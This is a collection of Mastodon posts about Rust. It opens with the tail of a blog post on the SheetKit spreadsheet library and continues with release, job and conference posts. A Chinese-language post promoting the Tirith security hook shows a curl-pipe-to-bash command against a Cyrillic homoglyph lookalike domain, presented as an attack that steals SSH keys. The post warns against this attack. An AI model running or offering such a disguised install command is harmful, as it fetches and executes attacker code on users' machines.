JS as raw buffers instead of object trees. Same principle here: Don't create per-cell objects. Serialize the entire sheet into a compact binary buffer. Cross the FFI boundary once. The encoder picks dense or sparse layout automatically based on cell occupancy (threshold: 30%). Since the JS side receives a raw buffer, I also wrote a TypeScript parser for the format. v0.3.0 shipped the first version of this buffer protocol. v0.5.0 later replaced it with a v2 format that supports inline strings and incremental row-by-row decoding. I also made changes in the Rust XML layer. The goal was fewer heap allocations and simpler hot paths. ChangeWhyCell references ("A1") stored as [u8; 10] inline arrays, not heap StringsMax cell ref is "XFD1048576" (10 bytes). No need for the heap.Cell type attribute normalized to a 1-byte enumStops carrying raw XML attribute strings aroundBinary search for cells within a row, replacing linear scanMetricBeforeAfterMemory (RSS) at 100k rows361 MB13.5 MBNode.js read overhead vs. native Rust—~4%GC pressure1M+ object creationsSingle buffer transfer Benchmarks This is when I built the benchmark suite, comparing SheetKit against existing Node.js and Rust libraries. The runner outputs Markdown with environment info, iteration counts, and raw numbers. Setup: Apple M4 Pro, 24 GB / Node v25.3.0 / Rust 1.93.0. Median of 5 runs after 1 warmup. RSS/heapUsed are residual deltas (before vs. after), not peaks. Fixtures are generated deterministically; row counts include the header. 50k rows × 20 columns: SheetKit read 541 ms, write 469 ms. The JS-only libraries: 1.24–1.56s read, 1.09–2.62s write. heapUsed delta: 0 MB, which confirmed that the JS side was no longer accumulating objects. One odd thing: edit-xlsx, a Rust library, was showing suspiciously fast read times. I didn't understand why at this point. The explanation came during the v0.5.0 work (covered below). Tuesday: Closing Feature Gaps (v0.4.0) v0.4.0 shipped Tuesday afternoon. This one was about features, not performance. I went through what other Excel libraries supported and listed what SheetKit was still missing. Shapes, slicers, form controls, threaded comments, VBA extraction, a CLI. I also added 54 more formula functions (total: 164), mostly financial and engineering. Same orchestrator/sub-agent setup as before: write a detailed plan for each feature, have the agents implement in parallel, agent review first, then my review. Memory optimization continued on the side. Reworking the Cell struct and SST memory layout cut RSS from 349 MB to 195 MB for sync reads (44% drop). Async reads: 17 MB. I also set up a VitePress documentation site around this time. Today: Rethinking the Architecture (v0.5.0) v0.5.0 went out this evening. Unlike the previous releases, which added features on top of the same API shape, this one changed the Node.js API structure and parts of the Rust core. Lazy Loading by Default Before v0.5.0, open() parsed every XML part upfront. Open a 50k-row file and all sheets load into memory, even the ones you never touch. Now there are three read modes: lazy (default): reads ZIP index and metadata only. Sheets parse on first access. eager: the old behavior. Parse everything immediately. stream: forward-only, bounded memory. Lazy open costs less than 30% of eager, and pre-access memory is under 20% of eager. Auxiliary parts (comments, charts, images, pivot tables) also defer parsing until you actually call a method that needs them. Streaming Reader Forward-only reader for large files. One batch in memory at a time. const wb = await Workbook.open("huge.xlsx", { readMode: "stream" });const reader = await wb.openSheetReader("Sheet1", { batchSize: 1000 });for await (const batch of reader) { for (const row of batch) { // process }} Copy-on-Write Save When you save a lazily-opened workbook, unchanged sheets pass through directly from the original ZIP entry. No parse-serialize round trip. At work I generate files by opening a template, filling in a few cells, and sending it back. That's exactly the workload this helps. The edit-xlsx Read Anomaly Back when I built the benchmarks, edit-xlsx was recording very fast read times on some files. Rows/cells count was dropping to zero. I added comparability rules to the benchmark: Check that rows/cells count matches expectations Value-probe a few cells at known coordinates If either fails, mark the result non-comparable Then I dug into why. In SpreadsheetML, fileVersion, workbookPr, and bookViews in workbook.xml are optional. edit-xlsx 0.4.x treats them as required. When deserialization fails on a file missing these elements, it falls back to a default struct: rows=0, cells=0, near-zero runtime. It was fast because it wasn't reading anything. SheetKit now writes default values for fileVersion and workbookPr (matching Excel's own defaults) when they're absent, for compatibility. Node.js Bindings Faster Than Native Rust? In some write scenarios, the Node.js bindings beat native Rust. ScenarioRustNode.jsOverheadWrite 50k rows × 20 cols544 ms469 ms−14% (Node.js faster)Write 20k text-heavy rows108 ms86 ms−20% (Node.js faster) This happens because V8 is very good at string interning and memory management when building SST data through the batch API (setSheetData). The napi crossing costs less than what V8 saves. I did not expect to see negative overhead, but here we are. Dogfooding SheetKit I replaced our previous library with SheetKit at work. Template generation and bulk upload processing have been running fine. Where it stands today (February 14th): Streaming read/write in both Node.js and Rust 164 formula functions 43 chart types Multiple image formats Read overhead (Node.js vs. Rust): ~4%. Some write scenarios are faster from Node.js. Details at sheetkit.dev. The library is still experimental and APIs may change. I'll keep using it in production, measuring, and fixing things as they come up. Issues and PRs are always welcome. Next Post This covered the what and when. The next post is about the how: orchestrator/sub-agent structure, how I used Claude Code and Codex, the agentic code review loop, where I had to step in, and what I'd do differently.

@arichtman@eigenmagic.net
@edfloreshz@hachyderm.io

The experiment is over! :ferris_gesture:

A git diff picture showing:

- The kernel has experimental support for the Rust programming language
+ The kernel has support for the Rust programming language

Signaling the end of the Rust language experiment in the Linux kernel.
ALT text

A git diff picture showing: - The kernel has experimental support for the Rust programming language + The kernel has support for the Rust programming language Signaling the end of the Rust language experiment in the Linux kernel.

@kernellogger@hachyderm.io

The support in the is now officially a first class citizen and not considered experimental any more:

git.kernel.org/torvalds/c/9fa7; for more details, see also: lwn.net/Articles/1050174/

This is one of the highlights from the main for 7.0 that was merged a few hours ago ; for others, see git.kernel.org/torvalds/c/a9aa

Screenshot from the first linked page that removes the experimental classification.
ALT text

Screenshot from the first linked page that removes the experimental classification.

@kernellogger@hachyderm.io

The support in the is now officially a first class citizen and not considered experimental any more:

git.kernel.org/torvalds/c/9fa7; for more details, see also: lwn.net/Articles/1050174/

This is one of the highlights from the main for 7.0 that was merged a few hours ago ; for others, see git.kernel.org/torvalds/c/a9aa

Screenshot from the first linked page that removes the experimental classification.
ALT text

Screenshot from the first linked page that removes the experimental classification.

@kernellogger@hachyderm.io

The support in the is now officially a first class citizen and not considered experimental any more:

git.kernel.org/torvalds/c/9fa7; for more details, see also: lwn.net/Articles/1050174/

This is one of the highlights from the main for 7.0 that was merged a few hours ago ; for others, see git.kernel.org/torvalds/c/a9aa

Screenshot from the first linked page that removes the experimental classification.
ALT text

Screenshot from the first linked page that removes the experimental classification.

@jbr@mastodon.social

Hey / folks! I haven’t been on here in a bit so I have no idea if people will see this, but I have a new oss cli devtool I’m looking for beta user feedback on. Short pitch: read, navigate, and search rust docs directly in your terminal. Is that something you’d use if it were blazing fast?

@rustaceans@mastodon.social

Is your company currently hiring for a role that includes using Rust?

Reply with a link to the opening and any relevant context.

If you're not, we'd appreciate a repost for visibility

@imperio@toot.cat

Next Rust in Paris 2026 speaker is @brendan, working on Thunderbird at MZLA.

Their talk will be "Implementing an async operation queue in Rust for Thunderbird".

To buy your ticket: ti.to/xperhub/rust-in-paris-20

rustinparis.com

See you there!

rustinparis.com

Rust In Paris 2026

Rust in Paris is a community conference for developers passionate about building secure, concurrent, high-performing software with Rust.

@matthew@mastodon.me.uk

If any of you are looking to hire an excellent remote Rustacian, then please do reach out @savanni.

She’s a gifted programmer, a clear-thinker, and a great collaborator.

Working closely with Savanni was the highlight of my year at 1Password.

@cdn0x12@scg.owu.one

#CDN的收藏夹
FW: codedump的电报频道 - Telegram

#开源项目
#Rust
tirith

仅凭肉眼,根本看不出下面两个curl命令的区别:

curl -sSL https://install.example-cli.dev | bash  # safe
curl -sSL https://іnstall.example-clі.dev | bash  # compromised

这是一张关于网络安全警示的微博截图,讨论了终端中由于同形异义字导致的命令执行风险,并推介了名为 Tirith 的安全工具。

原文如下:
爱可可-爱生活
【你的终端正在裸奔:一个肉眼看不出的字符差异,就能让你的 SSH 密钥被盗】

说实话,你上一次认真读完一条命令再粘贴到终端,是什么时候?

看看这两行代码:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-cli | bash

一个安装工具,一个偷走你的 SSH 密钥。

区别在哪?第二行的「і」是西里尔字母,不是拉丁字母。浏览器早就回拦截这种同形异义字攻击,但终端连眼都不眨一下就执行了。

这就是问题所在。浏览器在十年前就解决了这个安全漏洞,而我们每天使用的终端,至今仍然对 Unicode、ANSI 转义序列、不可见字符毫无防备。

氛围编程让这件事变得更危险了。大家从 ChatGPT、从各种仓库复制命令,像喝水一样自然。我有两个朋友就是因为这种攻击,加密钱包被清空了。

所以有人做了 Tirith。

它是一个隐形的 shell 钩子,在命令执行前进行拦截。30 条规则,覆盖 7 个类别:同形异义字攻击、终端注入、管道执行、配置文件篡改、不安全传输、生态系统威胁、凭证泄露。

所有分析都在本地完成,没有网络请求,没有遥测,没有后台进程。正常命令零输出,你甚至会忘记它在运行。只有当它救你一命的时候,你才会想起它的存在。

安装很简单:
brew install sheeki03/tap/tirith && eval "$(tirith init)"
ALT text

这是一张关于网络安全警示的微博截图,讨论了终端中由于同形异义字导致的命令执行风险,并推介了名为 Tirith 的安全工具。 原文如下: 爱可可-爱生活 【你的终端正在裸奔:一个肉眼看不出的字符差异,就能让你的 SSH 密钥被盗】 说实话,你上一次认真读完一条命令再粘贴到终端,是什么时候? 看看这两行代码: curl -sSL https://install.example-cli | bash curl -sSL https://іnstall.example-cli | bash 一个安装工具,一个偷走你的 SSH 密钥。 区别在哪?第二行的「і」是西里尔字母,不是拉丁字母。浏览器早就回拦截这种同形异义字攻击,但终端连眼都不眨一下就执行了。 这就是问题所在。浏览器在十年前就解决了这个安全漏洞,而我们每天使用的终端,至今仍然对 Unicode、ANSI 转义序列、不可见字符毫无防备。 氛围编程让这件事变得更危险了。大家从 ChatGPT、从各种仓库复制命令,像喝水一样自然。我有两个朋友就是因为这种攻击,加密钱包被清空了。 所以有人做了 Tirith。 它是一个隐形的 shell 钩子,在命令执行前进行拦截。30 条规则,覆盖 7 个类别:同形异义字攻击、终端注入、管道执行、配置文件篡改、不安全传输、生态系统威胁、凭证泄露。 所有分析都在本地完成,没有网络请求,没有遥测,没有后台进程。正常命令零输出,你甚至会忘记它在运行。只有当它救你一命的时候,你才会想起它的存在。 安装很简单: brew install sheeki03/tap/tirith && eval "$(tirith init)"

@PopeyeOtaku@stctp.zone

trying to be on here more often (again lol)

Back on my BS with my project to make a portable version of Unix V6 (from 1975) with a self-hosted pre-K&R C compiler, that could be released on anything that can at least simulate the memory model

Gonna start on a custom VM written in , but then port to the and probably also !!

You can check out the progress on the kernel branch here: codeberg.org/popeyeotaku/popix

Right now the compiler's almost done, with a bootstrapper compiler written in Rust. I'm about to start booting and bugfixing the kernel as soon as I extend the VM a tad

Still gotta gut the kernel by another several K, and write self-hosted assembler/linker package, and port userland. Also gonna write a custom YACC that uses less RAM

but it's coming along swimmingly!!!

codeberg.org

Cookie monster!

@bbelderbos@fosstodon.org

Learning made me a better programmer.

Not because I write Rust at work. Because Rust forced me to think about things I'd been ignoring and I never realized this fact.

@bbelderbos@fosstodon.org

Learning made me a better programmer.

Not because I write Rust at work. Because Rust forced me to think about things I'd been ignoring and I never realized this fact.

@d1@autonomous.zone
@CuratedHackerNews@mastodon.social

Photoroom (YC S20) Is Hiring a Head of Cross-Platform (Rust) in Paris

jobs.ashbyhq.com/photoroom/dc9

jobs.ashbyhq.com

Head of cross-platform (Rust)

About us Photoroom https://www.photoroom.com launched in 2020 after being accepted into Y Combinator and has become the world's most popular AI photo editor over the past four years. Our goal is to create the technology allowing anyone create studio-level product images in minutes. With over 300 million downloads and processing 5+ billion images annually, we serve both individual creators and major enterprises like Amazon, DoorDash, and Decathlon through our B2C app and B2B API solutions. We're a profitable, remote-friendly company that has raised Series B funding and aims for 40% year-over-year growth. Our team of 100+ passionate builders focuses on craft, innovation, and collaboration, creating exceptional impact for entrepreneurs and businesses worldwide. TL;DR 🤓 We're looking for a Head of Cross-Platform (Rust) to lead our world-class Rust cross-platform team to the next level. You'll drive our long-term technical vision and make bold strategic bets to push the envelope of our internal SDK while managing the team 💰 up to 150k (local currency) + stock options 🇪🇺 Remote-friendly within 3-hour flight from Paris, come once a month to Paris (fully reimbursed), or come to the office more often as you please. ✈️ Relocation support up to €10k + visa sponsorship for France-based positions 💻 Full tech setup + annual company retreats 🇬🇧 Photoroom is an international team and we work in English. We offer language lessons for those who need them (English & French). ✨ ABOUT THE ROLE ✨ You'll own: - Long-term strategy and execution of our internal Rust-based engine. This encompasses rendering, document model, data synchronisation and realtime collaboration. - Cross-functional partnership - serving as the keystone behind our iOS, Android, Web apps and API. - Team leadership - scaling our team while maintaining culture and excellence, fostering knowledge-sharing and bottom-up initiatives. - Technical excellence - code review, performance optimisation, and troubleshooting complex issues Key opportunities to drive impact: - Establish technical direction for our ambitious goals around agentic image editing - Advance our wgpu-based rendering pipeline for a best-in-class editing experience - Create space for calculated risk-taking alongside rapid shipping excellence ✨ ABOUT YOU ✨ Must-haves: - Proven experience leading deeply technical teams within product companies, with strategic decision-making experience and hiring + mentorship experience. - Technical depth for mentorship - spot code issues, debug failures, analyse performance bottlenecks, and guide ICs through complex technical challenges. - Cross-platform experience - building tools and libraries aimed at being consumed by other developers, in Rust or C/C++ - Cross-functional collaboration - can work closely with other Engineering teams, Product, Sales, etc. Ability to simplify deeply technical topics into understandable terms. - Empowering leadership style with technical credibility - set context, maintain hands-on expertise, code review proficiency, and opinionated technical guidance Nice-to-haves: - Experience working with or leading engineers working on rendering APIs: OpenGL, WebGL, Vulkan, Metal, WebGPU, DX12, etc - Experience ensuring maintainability and scalability of large (>100k LOC) Rust codebases - Experience with text-rendering pipelines or vector-graphics editing pipelines This position reports to: Chief Technology Officer ✨ HIRING PROCESS ✨ - Screening call with Recruiter - Technical Interview - Technical Presentation with current team - Culture fit interviews - Reference check & Offer DIVERSITY, EQUITY, INCLUSION, AND BELONGING We're committed to enabling everyone to feel included and valued at work. We believe our company and culture are strongest when composed of diverse experiences and backgrounds. That's also why we have flexible working hours, trust people to work remotely, and extended parental leave. All qualified applicants receive consideration for employment without regard to age, color, family, gender identity, marital status, national origin, physical or mental disability, sex (including pregnancy), sexual orientation, or any other characteristic protected by applicable laws.

@CuratedHackerNews@mastodon.social

Photoroom (YC S20) Is Hiring a Head of Cross-Platform (Rust) in Paris

jobs.ashbyhq.com/photoroom/dc9

jobs.ashbyhq.com

Head of cross-platform (Rust)

About us Photoroom https://www.photoroom.com launched in 2020 after being accepted into Y Combinator and has become the world's most popular AI photo editor over the past four years. Our goal is to create the technology allowing anyone create studio-level product images in minutes. With over 300 million downloads and processing 5+ billion images annually, we serve both individual creators and major enterprises like Amazon, DoorDash, and Decathlon through our B2C app and B2B API solutions. We're a profitable, remote-friendly company that has raised Series B funding and aims for 40% year-over-year growth. Our team of 100+ passionate builders focuses on craft, innovation, and collaboration, creating exceptional impact for entrepreneurs and businesses worldwide. TL;DR 🤓 We're looking for a Head of Cross-Platform (Rust) to lead our world-class Rust cross-platform team to the next level. You'll drive our long-term technical vision and make bold strategic bets to push the envelope of our internal SDK while managing the team 💰 up to 150k (local currency) + stock options 🇪🇺 Remote-friendly within 3-hour flight from Paris, come once a month to Paris (fully reimbursed), or come to the office more often as you please. ✈️ Relocation support up to €10k + visa sponsorship for France-based positions 💻 Full tech setup + annual company retreats 🇬🇧 Photoroom is an international team and we work in English. We offer language lessons for those who need them (English & French). ✨ ABOUT THE ROLE ✨ You'll own: - Long-term strategy and execution of our internal Rust-based engine. This encompasses rendering, document model, data synchronisation and realtime collaboration. - Cross-functional partnership - serving as the keystone behind our iOS, Android, Web apps and API. - Team leadership - scaling our team while maintaining culture and excellence, fostering knowledge-sharing and bottom-up initiatives. - Technical excellence - code review, performance optimisation, and troubleshooting complex issues Key opportunities to drive impact: - Establish technical direction for our ambitious goals around agentic image editing - Advance our wgpu-based rendering pipeline for a best-in-class editing experience - Create space for calculated risk-taking alongside rapid shipping excellence ✨ ABOUT YOU ✨ Must-haves: - Proven experience leading deeply technical teams within product companies, with strategic decision-making experience and hiring + mentorship experience. - Technical depth for mentorship - spot code issues, debug failures, analyse performance bottlenecks, and guide ICs through complex technical challenges. - Cross-platform experience - building tools and libraries aimed at being consumed by other developers, in Rust or C/C++ - Cross-functional collaboration - can work closely with other Engineering teams, Product, Sales, etc. Ability to simplify deeply technical topics into understandable terms. - Empowering leadership style with technical credibility - set context, maintain hands-on expertise, code review proficiency, and opinionated technical guidance Nice-to-haves: - Experience working with or leading engineers working on rendering APIs: OpenGL, WebGL, Vulkan, Metal, WebGPU, DX12, etc - Experience ensuring maintainability and scalability of large (>100k LOC) Rust codebases - Experience with text-rendering pipelines or vector-graphics editing pipelines This position reports to: Chief Technology Officer ✨ HIRING PROCESS ✨ - Screening call with Recruiter - Technical Interview - Technical Presentation with current team - Culture fit interviews - Reference check & Offer DIVERSITY, EQUITY, INCLUSION, AND BELONGING We're committed to enabling everyone to feel included and valued at work. We believe our company and culture are strongest when composed of diverse experiences and backgrounds. That's also why we have flexible working hours, trust people to work remotely, and extended parental leave. All qualified applicants receive consideration for employment without regard to age, color, family, gender identity, marital status, national origin, physical or mental disability, sex (including pregnancy), sexual orientation, or any other characteristic protected by applicable laws.

@jhpratt@mastodon.social · Reply to Jacob Pratt

P.S. if you want more of where this comes from, consider sponsoring me. Not just for my work on `time`, but for some compiler work that has been delayed for far too long because I've not had the time. There's a lot I want to get done!

Some of my contracting work has slowed quite a bit, so every bit helps! I'm also open to contracting roles 😉

github.com/sponsors/jhpratt

github.com

Sponsor @jhpratt on GitHub Sponsors

I am the sole maintainer of `time,` a foundational crate in Rust. I also contribute to the Rust compiler and standard library. I have written multiple accepted RFCs, eliminated special-casing for `...

@trifectatech@fosstodon.org

Zlib-rs is now feature-complete! We've released v0.6, the first version with a stable and complete API. The blog post has the details.

Zlib-rs offers an alternative to C/C++ counterparts. It provides on-par (or better!) performance while reducing attack surface through memory safety.

With thanks to our maintainer @folkertdev, our contributors and @sovtechfund.

trifectatech.org/blog/zlib-rs-

trifectatech.org

zlib-rs: a stable API and 30M downloads - Trifecta Tech Foundation

@trifectatech@fosstodon.org

Zlib-rs is now feature-complete! We've released v0.6, the first version with a stable and complete API. The blog post has the details.

Zlib-rs offers an alternative to C/C++ counterparts. It provides on-par (or better!) performance while reducing attack surface through memory safety.

With thanks to our maintainer @folkertdev, our contributors and @sovtechfund.

trifectatech.org/blog/zlib-rs-

trifectatech.org

zlib-rs: a stable API and 30M downloads - Trifecta Tech Foundation

@jhpratt@mastodon.social

time v0.3.46 has been released. Highly recommended you upgrade for the performance gains if nothing else.

Leap year checking, date arithmetic, date constructors, and some parts of parsing all have huge performance gains (on the order of 15–30% each). There's also improved documentation, bug fixes, and some new methods.

Release notes: github.com/time-rs/time/blob/m

github.com

time/CHANGELOG.md at main · time-rs/time

Date and time handling in Rust. Contribute to time-rs/time development by creating an account on GitHub.

@jhpratt@mastodon.social

time v0.3.46 has been released. Highly recommended you upgrade for the performance gains if nothing else.

Leap year checking, date arithmetic, date constructors, and some parts of parsing all have huge performance gains (on the order of 15–30% each). There's also improved documentation, bug fixes, and some new methods.

Release notes: github.com/time-rs/time/blob/m

github.com

time/CHANGELOG.md at main · time-rs/time

Date and time handling in Rust. Contribute to time-rs/time development by creating an account on GitHub.

@imperio@toot.cat

Starting tomorrow, you will be able (on linux without cross-compilation) to install and use the Rust GCC backend directly from rustup! To do so:

rustup component add rustc-codegen-gcc

Thanks a lot to Kobzol for all their work to making it a reality!

@imperio@toot.cat

Starting tomorrow, you will be able (on linux without cross-compilation) to install and use the Rust GCC backend directly from rustup! To do so:

rustup component add rustc-codegen-gcc

Thanks a lot to Kobzol for all their work to making it a reality!

@imperio@toot.cat

Starting tomorrow, you will be able (on linux without cross-compilation) to install and use the Rust GCC backend directly from rustup! To do so:

rustup component add rustc-codegen-gcc

Thanks a lot to Kobzol for all their work to making it a reality!

@cliffle@hachyderm.io

Collected this weekend's updates to my Smalltalk-80 VM into a new wasm build. (You may need to shift-reload it to get it to work if you've visited before.)

cliffle.com/tmp-st80/

There's now a speed selector to experience what was considered "barely usable" back in 1983 (5000 bytecodes/sec, not remotely usable by modern standards). And the VM is complete enough to run "Benchmark testStandardTests."

If you crank up the speed knob (and have enough host CPU) the standard tests complete in 537 ms, which is pretty darn fast, and compares favorably with Rochus Keller's optimized C++ VM, despite my rather naive display routines.

cliffle.com

ST80

@cliffle@hachyderm.io

Collected this weekend's updates to my Smalltalk-80 VM into a new wasm build. (You may need to shift-reload it to get it to work if you've visited before.)

cliffle.com/tmp-st80/

There's now a speed selector to experience what was considered "barely usable" back in 1983 (5000 bytecodes/sec, not remotely usable by modern standards). And the VM is complete enough to run "Benchmark testStandardTests."

If you crank up the speed knob (and have enough host CPU) the standard tests complete in 537 ms, which is pretty darn fast, and compares favorably with Rochus Keller's optimized C++ VM, despite my rather naive display routines.

cliffle.com

ST80

@unsafe@m.webtoo.ls
@terts@mastodon.online

The work on the reflection API for Rust is the coolest thing ever. When it was just merged, it was only useful for tuples.

I blinked and now there's arrays, bools, chars, ints, strs, floats, references and pointers. With structs and enums in the works. I know it will be a while but I can't wait for it to stabilize! (Without rushing the maintainers, take your time to get it right!)

@imperio@toot.cat

Hi everyone. Next Rust sysinfo crate release is kinda stuck at the moment as I'm trying to get the missing parts for the NetBSD support. Currently I'm missing:

If anyone knows how to get the missing information, it'd be awesome!

Otherwise, well, I'll just release an incomplete support.

github.com

sysinfo/src/unix/bsd/netbsd/product.rs at main · GuillaumeGomez/sysinfo

Cross-platform library to fetch system information - GuillaumeGomez/sysinfo

@boltless.me@bsky.brid.gy

isn't a superior language. But learning rust's type system makes other languages feel inferior. The curse of knowledge...

@tamme@fosstodon.org

I had this idea for a while to write a guide to embedded Rust for people that already use Rust. And for material that is less about the low-level details and more about writing high level embedded apps.

I started this today under the working title Top Down Embedded Rust: github.com/tdittr/top-down-emb

I would be happy about feedback on the general idea and structure. Especially if you are programming Rust but are not an embedded developer.

github.com

GitHub - tdittr/top-down-embedded-rust

Contribute to tdittr/top-down-embedded-rust development by creating an account on GitHub.

@tamme@fosstodon.org

I had this idea for a while to write a guide to embedded Rust for people that already use Rust. And for material that is less about the low-level details and more about writing high level embedded apps.

I started this today under the working title Top Down Embedded Rust: github.com/tdittr/top-down-emb

I would be happy about feedback on the general idea and structure. Especially if you are programming Rust but are not an embedded developer.

github.com

GitHub - tdittr/top-down-embedded-rust

Contribute to tdittr/top-down-embedded-rust development by creating an account on GitHub.

@haitchfive@oldbytes.space

fsm-toolkit v0.8.0 released

A toolkit for finite state machines: DFA, NFA, Moore, Mealy. Compact binary format, visualisation, code generation, TUI editor.

github.com/ha1tch/fsm-toolkit/

What's new in 0.8.0

@ Native PNG and SVG renderers — no Graphviz dependency. Sugiyama layered layout algorithm. 4× supersampling for crisp output. Graphviz support still available, this is work in progress, matching Graphviz quality reliably will take time.

@ NFA support with powerset simulation, epsilon closure, and NFA→DFA conversion.

@ TUI editor (fsmedit) with mouse drag, undo/redo, two-column file browser, persistent config.

@ Code generation for C, Rust, and Go/TinyGo. Interactive runner with state history.

@ Formal specification documenting semantic guarantees.

Binaries: Linux, macOS, Windows, FreeBSD, OpenBSD, NetBSD

github.com/ha1tch/fsm-toolkit/

Release v0.8.0 · ha1tch/fsm-toolkit

fsm-toolkit v0.8.0 released A toolkit for finite state machines: DFA, NFA, Moore, Mealy. Compact binary format, visualisation, code generation, TUI editor. https://github.com/ha1tch/fsm-toolkit Wha...

@opeik@hachyderm.io

Looking for a new software engineering role.

- Based out of Australia (UTC+8)
- Remote work only
- Backend, frontend, and embedded experience
- 5 years professional experience, 15 years as a hobbyist
- Languages: Rust, C, C++, Go, Java, Python, Lua, Perl, Nix, Bash, Javascript, Typescript, HTML, CSS, SQL
- Interests: High-performance computing, low-level programming, embedded devices, game engines, computer graphics

@siltaer@piaille.fr

Mozilla Ads, vos annonces publicitaires en toute confiance
mozilla.org/en-US/advertising/

When you advertise on Mozilla’s Firefox and MDN Web Docs, you’ll connect with over 210 million selective, discerning, brand-loyal users. Because they trust us, they’ll trust you.

***

Tout plaquer, apprendre et candidater pour un financement NGI0 auprès de la NLnet afin de contribuer à le plus vite possible.

mozilla.org

Advertising

@haitchfive@oldbytes.space

UPDATE: fsm-toolkit

New in the FSM toolkit:

github.com/ha1tch/fsm-toolkit

  • Code generation — export your state machines to C, Rust, or Go (TinyGo compatible). Zero dependencies, embedded-friendly.

  • fsm analyse — catches unreachable states, dead ends, non-determinism, and unused symbols before they bite you.

  • Editor improvements — undo/redo (Ctrl+Z/Y), toggle wires with W, states always visible over arcs, parallel transitions no longer overlap.

  • Quick image exportfsm png / fsm svg without piping through dot.

Still a compact hex format at heart that fits in your head!

@opeik@hachyderm.io

Looking for a new software engineering role.

- Based out of Australia (UTC+8)
- Remote work only
- Backend, frontend, and embedded experience
- 5 years professional experience, 15 years as a hobbyist
- Languages: Rust, C, C++, Go, Java, Python, Lua, Perl, Nix, Bash, Javascript, Typescript, HTML, CSS, SQL
- Interests: High-performance computing, low-level programming, embedded devices, game engines, computer graphics

@erikjee@fosstodon.org
@siltaer@piaille.fr

Mozilla Ads, vos annonces publicitaires en toute confiance
mozilla.org/en-US/advertising/

When you advertise on Mozilla’s Firefox and MDN Web Docs, you’ll connect with over 210 million selective, discerning, brand-loyal users. Because they trust us, they’ll trust you.

***

Tout plaquer, apprendre et candidater pour un financement NGI0 auprès de la NLnet afin de contribuer à le plus vite possible.

mozilla.org

Advertising

@terminaltilt@climatejustice.social
@hongminhee@hollo.social

Hongdown 0.2.0 is out! Hongdown is an opinionated formatter written in , and this release brings support, so you can now use it as a library in .js, , , and browsers.

New features:

  • Smart heading sentence case conversion with ~450 built-in proper nouns
  • SmartyPants-style typographic punctuation ("straight"“curly”)
  • External code formatter integration for code blocks
  • Directory argument support for batch formatting

Try it in the browser: https://dahlia.github.io/hongdown/

Release notes: https://github.com/dahlia/hongdown/discussions/10

github.com

Hongdown 0.2.0: WebAssembly support and smart typography · dahlia/hongdown · Discussion #10

We're excited to announce Hongdown 0.2.0! This release brings major new features including WebAssembly support, smart heading capitalization, typographic punctuation transformation, and external co...

@hongminhee@hollo.social

Hongdown 0.2.0 is out! Hongdown is an opinionated formatter written in , and this release brings support, so you can now use it as a library in .js, , , and browsers.

New features:

  • Smart heading sentence case conversion with ~450 built-in proper nouns
  • SmartyPants-style typographic punctuation ("straight"“curly”)
  • External code formatter integration for code blocks
  • Directory argument support for batch formatting

Try it in the browser: https://dahlia.github.io/hongdown/

Release notes: https://github.com/dahlia/hongdown/discussions/10

github.com

Hongdown 0.2.0: WebAssembly support and smart typography · dahlia/hongdown · Discussion #10

We're excited to announce Hongdown 0.2.0! This release brings major new features including WebAssembly support, smart heading capitalization, typographic punctuation transformation, and external co...

@senesens@tilde.zone

ladies and gents, the rare self-referential rust type. Did not know Self syntax was supported on the type declaration.

The following snippet of rust code with colored syntax: 
```
#[derive(Debug, Serialize, Deserialize, Validate, Clone)]
#[serde(rename_all = "camelCase")]
pub enum DocPredicateClause {
    HasTag(#[garde(dive)] PropTag),
    Or(#[garde(dive)] Vec<Self>),
    And(#[garde(dive)] Vec<Self>),
    Not(#[garde(dive)] Box<Self>),
}
```
ALT text

The following snippet of rust code with colored syntax: ``` #[derive(Debug, Serialize, Deserialize, Validate, Clone)] #[serde(rename_all = "camelCase")] pub enum DocPredicateClause { HasTag(#[garde(dive)] PropTag), Or(#[garde(dive)] Vec<Self>), And(#[garde(dive)] Vec<Self>), Not(#[garde(dive)] Box<Self>), } ```

@silverpill@mitra.social

I created a simple FEP-ae97 web client:

https://codeberg.org/silverpill/fep-ae97-web-client

It is written in #Rust using Leptos and APx. Everything is compiled to WebAssembly and the application can be served as a static website.

This technology stack is very promising, but I think it is not yet ready for anything serious. The development process is slower compared to JavaScript/TypeScript, and the resulting binary is huge - it's 4.5 MB already (without optimizations). So I am going to keep an eye on it, but focus on building another FEP-ae97 client using a different approach.

#fep_ae97

mitra.social

Mitra - Federated social network

Federated social network

@silverpill@mitra.social

I created a simple FEP-ae97 web client:

https://codeberg.org/silverpill/fep-ae97-web-client

It is written in #Rust using Leptos and APx. Everything is compiled to WebAssembly and the application can be served as a static website.

This technology stack is very promising, but I think it is not yet ready for anything serious. The development process is slower compared to JavaScript/TypeScript, and the resulting binary is huge - it's 4.5 MB already (without optimizations). So I am going to keep an eye on it, but focus on building another FEP-ae97 client using a different approach.

#fep_ae97

mitra.social

Mitra - Federated social network

Federated social network

@zoul@boskovice.social

Koťátka! Budu končit v současné práci, čas na nová dobrodružství. Ještě nevím, do čeho se přesně chci pustit. Ale jedna věc, která mě láká, je naučit se Rust. Je to bizarní dotaz, ale nehodil by se vám někomu člověk, co se naučí a bude pak pro vás dělat nějaké systémové věci? Jsem čistotný, programuju 30+ let ve všem možném od Basicu přes Pascal, C, assembler, Objective-C a Swift až po TypeScript. (Chápu, že ta konverzace je v principu složitější, ale to můžem vždycky dohnat později.)

@anwagnerdreas@hcommons.social · Reply to @frueheneuzeit

@stefan_hessbrueggen I am not in the know about the GNOME/libxml2 developments, but a while ago a blogpost by @faassen got me curious. Took me a while to find it again, but here it is: blog.startifact.com/posts/xee/

is an almost complete implementation plus incomplete inplementation, in . Here is the repo (last commit from Oct 2025): github.com/Paligo/xee

Probably something to keep an eye on...

github.com

GitHub - Paligo/xee: XPath, XSLT

XPath, XSLT. Contribute to Paligo/xee development by creating an account on GitHub.

@algernon@come-from.mad-scientist.club

Say, I want to write a full stack web application in Rust, preferably with zero JavaScript (WASM is okay, though).

What is everyone's favourite? I've used Yew before and it was nice. I've heard about Leptos, but apart from spending a total of 5 minutes glancing at its docs and examples, I know nothing about it.

Are there others? What's people's favourite?

#rust #webapp

@hbons@mastodon.social

because I keep biting off more than I can chew. I wanted to release a small utility first to get familiar again with / / development.

also something that I need myself. a week worth of hacking.

introducing Bobby: a SQLite file viewer.

github.com/hbons/Bobby

GNOME application window showing a database table with 4 columns and many rows. The toolbar has a table switcher widget and the opened file name.
ALT text

GNOME application window showing a database table with 4 columns and many rows. The toolbar has a table switcher widget and the opened file name.

@ekuber@hachyderm.io
@ekuber@hachyderm.io
